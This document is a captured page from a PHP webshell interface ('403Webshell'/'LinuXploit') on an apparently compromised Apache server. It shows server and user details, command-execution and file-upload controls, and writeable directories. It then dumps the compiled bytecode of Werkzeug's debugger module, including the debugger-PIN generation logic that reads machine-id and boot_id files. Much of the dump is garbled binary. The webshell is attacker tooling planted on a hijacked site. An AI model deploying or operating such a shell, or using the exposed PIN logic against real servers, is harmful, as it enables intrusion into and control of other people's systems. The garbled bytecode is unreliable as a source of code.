403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/werkzeug/debug/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/werkzeug/debug/__pycache__/__init__.cpython-311.pyc
�

Tg�M���UddlZddlZddlZddlZddlZddlZddlZddlZddlZ	ddl
Z
ddlmZddlm
Z
ddlmZddlmZddlmZddlmZddlmZd	d
lmZd	dlmZd	dlmZd	d
lmZd	dlmZd	dl m!Z!d	dl"m#Z#d	dl$m%Z%d	dl&m'Z'ddl(m)Z)ddl*m+Z+ddl*m,Z,ddl*m-Z-e	j.rddl/m0Z0ddl/m1Z1ddl/m2Z2dZ3de4de4fd�Z5da6e	j7e	j8e4e9fe:d<de	j7e	j8e4e9ffd �Z;Gd!�d"��Z<d#d$de	j8e	j=e4e4fe	j=d%ffd&�Z>Gd'�d(��Z?dS))�N)�	ExitStack)�nullcontext)�BytesIO)�chain)�basename)�join)�adler32�)�_log)�NotFound)�
SecurityError)�parse_cookie)�host_is_trusted)�gen_salt)�	send_file)�Request)�Response�)�Console)�DebugFrameSummary)�DebugTraceback)�render_console_html)�
StartResponse)�WSGIApplication)�WSGIEnvironmenti�:	�pin�returnc��tj|�d��dd�������dd�S)Nz added salt�utf-8�replace�)�hashlib�sha1�encode�	hexdigest)rs �9/usr/lib/python3/dist-packages/werkzeug/debug/__init__.py�hash_pinr'*sC���<�3�+�+�+�2�2�7�I�F�F�G�G�Q�Q�S�S�TW�UW�TW�X�X��_machine_idc��t�tSdtjtjtt
ffd�}|��atS)Nrc�,�d}dD]k}	t|d��5}|������}ddd��n#1swxYwYn#t$rY�^wxYw|r||z
}n�l	tdd��5}||�������d��dz
}ddd��n#1swxYwYn#t$rYnwxYw|r|S	ddlm}m}|gd	�|�
�����d}tj
d|��}|�|�d��Sn#ttf$rYnwxYwtjd
kr�ddl}	|�|jdd|j|jz��5}	|�|	d��\}
}||jkr!|
�d��cddd��S|
cddd��S#1swxYwYn#t$rYnwxYwdS)Nr()z/etc/machine-idz/proc/sys/kernel/random/boot_id�rbz/proc/self/cgroup�/r
r)�Popen�PIPE)�ioregz-c�IOPlatformExpertDevicez-d�2)�stdouts"serial-number" = <([^>]+)r�win32zSOFTWARE\Microsoft\Cryptography�MachineGuidr)�open�readline�strip�OSError�
rpartition�
subprocessr.r/�communicate�re�search�group�ImportError�sys�platform�winreg�OpenKey�HKEY_LOCAL_MACHINE�KEY_READ�KEY_WOW64_64KEY�QueryValueEx�REG_SZr$)�linux�filename�f�valuer.r/�dump�matchrC�rk�guid�	guid_types            r&�	_generatez!get_machine_id.<locals>._generate7s�����M�		�		�H�
��(�D�)�)�1�Q��J�J�L�L�.�.�0�0�E�1�1�1�1�1�1�1�1�1�1�1����1�1�1�1����
�
�
���
�����
�������
�	��)�4�0�0�
B�A�������+�+�-�-�8�8��>�>�q�A�A��
B�
B�
B�
B�
B�
B�
B�
B�
B�
B�
B����
B�
B�
B�
B����	�	�	��D�	�����	��L�
	�
/�.�.�.�.�.�.�.��5�D�D�D�T�����k�m�m�A��D��I�;�T�B�B�E�� ��{�{�1�~�~�%�!����%�	�	�	��D�	�����<�7�"�"��M�M�M�
��^�^��-�7���O�f�&<�<�	��
 �
�'-�&9�&9�"�m�&L�&L�O�D�)� �F�M�1�1�#�{�{�7�3�3�
 �
 �
 �
 �
 �
 �
 �
 � �
 �
 �
 �
 �
 �
 �
 �
 �
 �
 �
 �
 ����
 �
 �
 �
 �
 ���
�
�
���
�����ts��A�'A�A�A	�A�A	�A�
A$�#A$�2C�AC�C�C�C�C�C�
C*�)C*�2AE�E"�!E"�:*H�$9G8�H�*G8�+H�8G<�<H�?G<�H�
H�H)r)�t�Optional�Union�str�bytes)rSs r&�get_machine_idrY1sV������A�q�z�!�'�#�u�*�"5�6�A�A�A�A�F�)�+�+�K��r(c�\�eZdZdZdejeejffd�Zdedejfd�Z	dS)�
_ConsoleFramez]Helper class so that we can reuse the frame console code for the
    standalone console.
    �	namespacec�<�t|��|_d|_dS)Nr)r�console�id)�selfr\s  r&�__init__z_ConsoleFrame.__init__�s���y�)�)�������r(�coderc�6�|j�|��S�N)r^�eval)r`rbs  r&rez_ConsoleFrame.eval�s���|� � ��&�&�&r(N)
�__name__�
__module__�__qualname__�__doc__rT�DictrW�Anyrare�r(r&r[r[~sj���������!�&��a�e��"4�����'��'���'�'�'�'�'�'r(r[�appr�NNc
����tj�d��}d}d�|dkrdS|�1|�dd�����r	d|vr|}n|�t|dt
jt|��j	j
��}	tj��}n#ttf$rd}YnwxYwtj�|��}||t|dt#|��j��t|d	d��g}t't)j����t-��g}t/j��}t3||��D]D}	|	s�t5|	t&��r|	�d
��}	|�|	���E|�d��d|���dd
���}
��A|�d��t=|���d��d�dd��|�]dD]X�t?����zdkr@d� ��fd�tCdt?������D����}n�Y�}||
fS)aQGiven an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    �WERKZEUG_DEBUG_PINN�offrn�-�rgrf�__file__rs
cookiesalt�__wzd�spinsalt��09d�	)���rc3�Z�K�|]%}�||�z���d��V��&dS)�0N)�rjust)�.0�x�
group_size�nums  ��r&�	<genexpr>z*get_pin_and_cookie_name.<locals>.<genexpr>�sU����������A�
�N�*�+�1�1�*�c�B�B������r()"�os�environ�getr �	isdecimal�getattrrT�cast�object�	__class__rg�getpass�getuserr@�KeyErrorrA�modules�typerfrW�uuid�getnoderYr"r#r�
isinstancer$�updater%�int�lenr�range)
rmr�rv�modname�username�mod�probably_public_bits�private_bits�h�bit�cookie_namer�r�s
           @@r&�get_pin_and_cookie_namer��s�����
�*�.�.�-�
.�
.�C�	
�B�
�C��e�|�|��z���3�;�;�s�B�/�/�9�9�;�;���#�:�:��B�B��C��c�<�����)<�)<�)F�)Q�R�R�G���?�$�$������"�������������+�/�/�'�
"�
"�C�
	����Z��c���!3�4�4���Z��&�&�	�������'�'��)9�)9�:�L�����A��)�<�8�8�����	���c�3���	&��*�*�W�%�%�C�	����
�
�
�
��H�H�]����.�!�+�+�-�-����,�.�.�K��{�	��������Q�[�[�]�]�B�'�'�-�-�b�q�b�1��
�z�!�	�	�J��3�x�x�*�$��)�)��X�X������"�1�c�#�h�h�
�;�;���������*��B�
�{�?�s�B)�)B?�>B?c�8�eZdZUdZeed<eed<							d*d	d
deded
edejej	gej
eejffdedededdfd�Ze
dejefd���Zejdeddfd���Ze
defd���Zdddddejefd�Zdededejeefdefd �Zdedefd!�Zded"edefd#�Zdddejefd$�Zdddefd%�Zd+d&�Zdedefd'�Zdedefd(�Z dddddej!efd)�Z"dS),�DebuggedApplicationa1Enables debugging support for a given application::

        from werkzeug.debug import DebuggedApplication
        from myapp import app
        app = DebuggedApplication(app, evalex=True)

    The ``evalex`` argument allows evaluating expressions in any frame
    of a traceback. This works by preserving each frame with its local
    state. Some state, such as :doc:`local`, cannot be restored with the
    frame by default. When ``evalex`` is enabled,
    ``environ["werkzeug.debug.preserve_context"]`` will be a callable
    that takes a context manager, and can be called multiple times.
    Each context manager will be entered before evaluating code in the
    frame, then exited again, so they can perform setup and cleanup for
    each call.

    :param app: the WSGI application to run debugged.
    :param evalex: enable exception evaluation feature (interactive
                   debugging).  This requires a non-forking server.
    :param request_key: The key that points to the request object in this
                        environment.  This parameter is ignored in current
                        versions.
    :param console_path: the URL for a general purpose console.
    :param console_init_func: the function that is executed before starting
                              the general purpose console.  The return value
                              is used as initial namespace.
    :param show_hidden_frames: by default hidden traceback frames are skipped.
                               You can show them by setting this parameter
                               to `True`.
    :param pin_security: can be used to disable the pin based security system.
    :param pin_logging: enables the logging of the pin system.

    .. versionchanged:: 2.2
        Added the ``werkzeug.debug.preserve_context`` environ key.
    �_pin�_pin_cookieF�werkzeug.request�/consoleNTrmr�evalex�request_key�console_path�console_init_func�show_hidden_frames�pin_security�pin_loggingrc	��|sd}||_||_i|_i|_||_||_||_||_td��|_	d|_
||_|rdtj
�d��dkr@|r>tdd��|j�tdd��ntdd	|j��nd|_d
dg|_dS)Nrvr�WERKZEUG_RUN_MAIN�true�warningz * Debugger is active!z- * Debugger PIN disabled. DEBUGGER UNSECURED!�infoz * Debugger PIN: %sz
.localhostz	127.0.0.1)rmr��frames�frame_contextsr�r�r�r�r�secret�_failed_pin_authr�r�r�r�rr�
trusted_hosts)	r`rmr�r�r�r�r�r�r�s	         r&razDebuggedApplication.__init__	s���!�	%� $��������NP���KM���&���(���!2���"4����r�l�l��� !���&����		��z�~�~�1�2�2�f�<�<��<��Y� 8�9�9�9��8�#���$S�T�T�T�T���!6���A�A�A���D�H�)5�{�(C���	�	r(c�v�t|d��s#t|j��}|\|_|_|jS)Nr���hasattrr�rmr�r��r`�
pin_cookies  r&rzDebuggedApplication.pin5s:���t�V�$�$�	5�0���:�:�J�*4�'�D�I�t�'��y�r(rMc��||_dSrd)r�)r`rMs  r&rzDebuggedApplication.pin<s
����	�	�	r(c�v�t|d��s#t|j��}|\|_|_|jS)zThe name of the pin cookie.r�r�r�s  r&�pin_cookie_namez#DebuggedApplication.pin_cookie_name@s=���t�]�+�+�	5�0���:�:�J�*4�'�D�I�t�'���r(r�r�start_responserc#�K�g}|jr
|j|d<d}	|�||��}|Ed{V��t|d��r|���dSdS#t
$�ri}t|d��r|���t
|d|j���}|jD]0}||j	t|��<||jt|��<�1t|�
|����}|�|jo|�|��|j|���}	t#|	dd�	��}
	|
||��Ed{V��n+#t
$r|d
�d��YnwxYw|d
�d�|�������Yd}~dSd}~wwxYw)
z6Run the application and conserve the traceback frames.zwerkzeug.debug.preserve_contextN�closer)�skip�hide)r�r��evalex_trustedi��	text/html)�status�mimetypezwsgi.errorszpDebugging middleware caught exception in streamed response at a point where response headers were already sent.
rs)r��appendrmr�r��	Exceptionrr��
all_framesr�r_r��bool�check_pin_trust�render_debugger_html�check_host_trustr�r�writer�render_traceback_text)r`r�r��contexts�app_iter�e�tb�frame�
is_trusted�html�responses           r&�debug_applicationz%DebuggedApplication.debug_applicationHsJ����57���;�	I�9A��G�5�6���$	N��x�x���8�8�H����������x��)�)�
!���� � � � � �
!�
!���	N�	N�	N��x��)�)�
!���� � � ����D�4K�0K�L�L�L�B���
:�
:��).���B�u�I�I�&�19��#�B�u�I�I�.�.��d�2�2�7�;�;�<�<�J��*�*��{�E�t�'<�'<�W�'E�'E��{�)�+���D�
 ��S�;�G�G�G�H�
�#�8�G�^�<�<�<�<�<�<�<�<�<�<���	
�	
�	
�
�
�&�,�,�������	
����
�M�"�(�(�����1I�1I�1K�1K�)L�)L�M�M�M�M�M�M�M�M�M�����?	N���s>�AA�G�*CG�
E�G�%F�G�F�AG�G�request�commandr�c�n�|�|j��st��S|j�t|��g��}t
��5}|D]}|�|���t|�	|��d���cddd��S#1swxYwYdS)zExecute a command in a console.r��r�N)
r�r�r
r�r�r_r�
enter_contextrre)r`r�r�r�r��
exit_stack�cms       r&�execute_commandz#DebuggedApplication.execute_commandxs���$�$�W�_�5�5�	#� �?�?�"��&�*�*�2�e�9�9�b�9�9��
�[�[�	G�J��
-�
-���(�(��,�,�,�,��E�J�J�w�/�/�+�F�F�F�		G�	G�	G�	G�	G�	G�	G�	G�	G�	G�	G�	G����	G�	G�	G�	G�	G�	Gs�>B*�*B.�1B.c��|�|j��st��Sd|jvr]|j�i}n!t|�����}|�d|j��t|��|jd<t|�
|j����}tt|j
|���d���S)zDisplay a standalone shell.rNrm)r�r�r�r�)r�r�r
r�r��dict�
setdefaultrmr[r�r�rrr�)r`r��nsr�s    r&�display_consolez#DebuggedApplication.display_console�s����$�$�W�_�5�5�	#� �?�?�"��D�K����%�-�����$�0�0�2�2�3�3���M�M�%���*�*�*�*�2�.�.�D�K��N��$�.�.�w��?�?�@�@�
���t�{�:�N�N�N� �
�
�
�	
r(rKc�V�tdt|����}	tjt|��}|�t��St
t|��dz��}tt|��|j
||���S#t$rt��cYSwxYw)z0Return a static resource from the shared folder.�sharedNl��)�
download_name�etag)rr�pkgutil�get_data�__package__rrWr	rrr�r9)r`r�rK�path�datar�s      r&�get_resourcez DebuggedApplication.get_resource�s����H�h�x�0�0�1�1��	��#�K��6�6�D��|��z�z�!��w�t�}�}�z�1�2�2�D����
�
�w��h�T����
���	�	�	��:�:����	���s�B
�
B(�'B(c�Z�|j�dSt|���|j��}|rd|vrdS|�dd��\}}	t|��}n#t$rYdSwxYw|t|j��krdStj��tz
|kS)a!Checks if the request passed the pin test.  This returns `True` if the
        request is trusted on a pin/cookie basis and returns `False` if not.
        Additionally if the cookie's stored pin hash is wrong it will return
        `None` so that appropriate action can be taken.
        NT�|Fr)
rrr�r��splitr��
ValueErrorr'�time�PIN_TIME)r`r��val�ts_str�pin_hash�tss      r&r�z#DebuggedApplication.check_pin_trust�s����8���4��7�#�#�'�'��(<�=�=���	�c��n�n��5��9�9�S�!�,�,����	��V���B�B���	�	�	��5�5�	�����x���)�)�)�)��4��	���h�&�"�,�,s�A#�#
A1�0A1c�R�t|�d��|j��S)N�	HTTP_HOST)rr�r�)r`r�s  r&r�z$DebuggedApplication.check_host_trust�s!���w�{�{�;�7�7��9K�L�L�Lr(c�h�tj|jdkrdnd��|xjdz
c_dS)Nrzg@g�?r)r��sleepr�)r`s r&�_fail_pin_authz"DebuggedApplication._fail_pin_auth�s=���
�$�/�!�3�3�3�3��=�=�=�����"����r(c�4�|�|j��st��Sd}d}|�|j��}t	jt|j��}d}|�|���d}n~|rd}ny|j	dkrd}nk|j
d}|����dd��|�dd��kr
d|_	d}n|���ttj||d	���d
���}|rU|�|jt%t'j�����dt)|����dd
|j���n|r|�|j��|S)zAuthenticates with the pin.FNT�
rrrrsr)�auth�	exhaustedzapplication/jsonr�r��Strict)�httponly�samesite�secure)r�r�r
r�rTr�rWrrr��argsr8r r�json�dumps�
set_cookier�r�r�r'�	is_secure�
delete_cookie)	r`r�rr�trustr�
bad_cookie�entered_pinr�s	         r&�pin_authzDebuggedApplication.pin_auth�s����$�$�W�_�5�5�	#� �?�?�"��	����$�$�W�_�5�5���f�S�$�(�#�#���
��=����!�!�!��J�J��	&��D�D��
"�R�
'�
'��I�I�"�,�u�-�K�� � �"�"�*�*�3��3�3�s�{�{�3��7K�7K�K�K�()��%�����#�#�%�%�%�
��J��9�=�=�>�>�'�
�
�
���		3��M�M��$��t�y�{�{�#�#�5�5�h�s�m�m�5�5��!��(�
�
�
�
�
��	3����T�1�2�2�2��	r(c���|�|j��st��S|jr-|j�&tdd��tdd|j��t
d��S)zLog the pin if needed.Nr�z= * To enable the debugger you need to enter the security pin:z * Debugger pin code: %srs)r�r�r
r�rrr)r`r�s  r&�log_pin_requestz#DebuggedApplication.log_pin_requestsq���$�$�W�_�5�5�	#� �?�?�"���	?��� 4���W�
�
�
�
��3�T�X�>�>�>���|�|�r(c�X�t|��}|j}|j�d��dk�r7|j�d��}|j�d��}|j�d��}|j�|j�dt
�����}|dkr|r|�||��}n�|d	kr!||jkr|�|��}n�|d
kr!||jkr|�	|��}nv|j
r;|�9|�7|j|kr,|�|��r|�|||��}n3|j
r,|j
�%|j|j
kr|�|��}|||��S)zDispatch the requests.�__debugger__�yes�cmdrL�s�frm)r��resource�pinauth�printpin)rr�rr�r�r�r�r�rrr�r�r�r�r�r�)	r`r�r�r�r�r�argr�r�s	         r&�__call__zDebuggedApplication.__call__s����'�"�"���)���<���N�+�+�u�4�4��,�"�"�5�)�)�C��,�"�"�3�'�'�C��\�%�%�c�*�*�F��K�O�O�G�L�$4�$4�U��$4�$E�$E�F�F�E��j� � �S� ��,�,�W�c�:�:����	�!�!�f���&;�&;��=�=��1�1����
�"�"�v���'<�'<��/�/��8�8�����
E��O��%��K�6�)�)��(�(��1�1�*� �/�/���e�D�D����K�	5��!�-���� 1�1�1��+�+�G�4�4�H��x���0�0�0r()Fr�r�NFTT)rN)#rfrgrhrirW�__annotations__r�rTrU�Callablerjrkra�propertyr�setterr��IteratorrXr�rrVrr[rr�r�r�r�r�rrr�Iterabler!rlr(r&r�r��s�������"�"�H�I�I�I�����
�-�&�LP�#(�!� �*�*�
�*��*��	*�
�*��:�a�j��Q�V�C���J�5G�1G�&H�I�
*�!�*��*��*�
�*�*�*�*�X��Q�Z��_�����X��	�Z���������Z��� �� � � ��X� �.N�(�.N�:I�.N�	
��E�	�.N�.N�.N�.N�`G��G��G��w�(�-�7�8�	G�

�G�G�G�G�$
�w�
�8�
�
�
�
�$�G��s��x�����"-�'8�-�Q�Z��=M�-�-�-�-�,M�(9�M�d�M�M�M�M�#�#�#�#�4��4�H�4�4�4�4�l
�w�
�8�
�
�
�
�"1�(�"1�:I�"1�	
��E�	�"1�"1�"1�"1�"1�"1r(r�)@r�r"rr�r�r=rAr��typingrTr��
contextlibrr�ior�	itertoolsr�os.pathrr�zlibr	�	_internalr�
exceptionsrr
�httpr�sansio.utilsr�securityr�utilsr�wrappers.requestr�wrappers.responserr^r�tbtoolsrrr�
TYPE_CHECKING�_typeshed.wsgirrrr�rWr'r)rUrVrXr"rYr[�Tupler�r�rlr(r&�<module>r:s?���������������	�	�	�	�����	�	�	�	�
�
�
�
������������� � � � � � �"�"�"�"�"�"�������������������������������������!�!�!�!�!�!�&�&�&�&�&�&�������*�*�*�*�*�*�������������&�&�&�&�&�&�(�(�(�(�(�(�������&�&�&�&�&�&�#�#�#�#�#�#�(�(�(�(�(�(��?�/�,�,�,�,�,�,�.�.�.�.�.�.�.�.�.�.�.�.���Y�#�Y�#�Y�Y�Y�Y�04��Q�Z����U�
�+�
,�3�3�3�J��
�1�7�3��:�#6�7�J�J�J�J�Z
'�
'�
'�
'�
'�
'�
'�
'�S�	�S��W�Q�W�S�#�X�
���
� 3�
3�4�S�S�S�S�lM1�M1�M1�M1�M1�M1�M1�M1�M1�M1r(

Youez - 2016 - github.com/yon3zu
LinuXploit